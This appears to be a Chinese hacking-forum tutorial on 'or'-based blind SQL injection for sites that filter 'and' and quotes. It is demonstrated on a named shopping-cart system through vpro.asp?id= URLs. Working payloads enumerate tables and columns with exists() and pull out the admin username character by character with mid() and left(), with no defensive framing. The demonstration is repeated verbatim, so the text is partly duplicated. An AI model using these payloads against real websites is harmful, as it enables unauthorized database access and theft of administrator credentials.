记得一年前火狐有一位朋友问,如果一个站过滤了and和"'"的话,改怎么注入啊?当时我随口说了句"or注入",后来又一次看贴的时候,看到他问我该怎么利用呢?我就写了几个简单的语句给他,叫他自己变换,他很感激我,还说网上没有这种方法。我到网上查了查,还真没有or注入专题呢(or 1=1除外),呵呵,所以,一年后的今天,就有了这篇文章。
我们用雷霆购物系统做or注入演示。我们先用or 1=1和or 1=2来测试是否存在注入点,我们先来看正常页面的面貌。我们现在用or 1=1测试是否存在注入漏洞。返回的是另外一个页面,我们再来测试or 1=2。返回的是正常的页面,说明猜测正确的时候是错误,猜测错误的时候是正常,这就是真正的"假是真时真是假",比lake2大哥哥的IP欺骗更经典哦,呵呵。
我们来构造测试语句:
vpro.asp?id=1 or exists(select * from admin)
返回错误页面,说明存在admin表我们来换一个表试试!
vpro.asp?id=1 or exists(select * from n0h4ck)
说明不存在n0h4ck这个表。
我们继续来,构造语句
vpro.asp?id=1 or exists(select admin from admin)
返回or 1=1的页面,说明admin表存在admin字段。
vpro.asp?id=1 or exists(select padd from admin)
返回or 1=2的页面,说明admin表不存在padd字段。
我们现在开始猜测数据了,
vpro.asp?id=1 or (select mid(admin,1,1) from admin)='n'
返回or 1=2的页面,说明admin表admin字段的第一个数据的第一个字符不是"n"。
我们再来
vpro.asp?id=1 or (select mid(admin,1,1) from admin)='a'
返回or 1=1的页面,说明说明admin表admin字段的第一个数据的第一个字符是"a",我们第一个会想到什么呢?当然是"admin"啦。
我们用left函数确定一下,
vpro.asp?id=1 or (select left(admin,5) from admin)='admin'
猜测正确,的确是admin,好了,后面的话就不用我说了吧!
我们用雷霆购物系统做or注入演示。我们先用or 1=1和or 1=2来测试是否存在注入点,我们先来看正常页面的面貌。我们现在用or 1=1测试是否存在注入漏洞。返回的是另外一个页面,我们再来测试or 1=2。返回的是正常的页面,说明猜测正确的时候是错误,猜测错误的时候是正常,这就是真正的"假是真时真是假",比lake2大哥哥的IP欺骗更经典哦,呵呵。
我们来构造测试语句:
vpro.asp?id=1 or exists(select * from admin)
返回错误页面,说明存在admin表我们来换一个表试试!
vpro.asp?id=1 or exists(select * from n0h4ck)
说明不存在n0h4ck这个表。
我们继续来,构造语句
vpro.asp?id=1 or exists(select admin from admin)
返回or 1=1的页面,说明admin表存在admin字段。
vpro.asp?id=1 or exists(select padd from admin)
返回or 1=2的页面,说明admin表不存在padd字段。
我们现在开始猜测数据了,
vpro.asp?id=1 or (select mid(admin,1,1) from admin)='n'
返回or 1=2的页面,说明admin表admin字段的第一个数据的第一个字符不是"n"。
我们再来
vpro.asp?id=1 or (select mid(admin,1,1) from admin)='a'
返回or 1=1的页面,说明说明admin表admin字段的第一个数据的第一个字符是"a",我们第一个会想到什么呢?当然是"admin"啦。
我们用left函数确定一下,
vpro.asp?id=1 or (select left(admin,5) from admin)='admin'
猜测正确,的确是admin,好了,后面的话就不用我说了吧!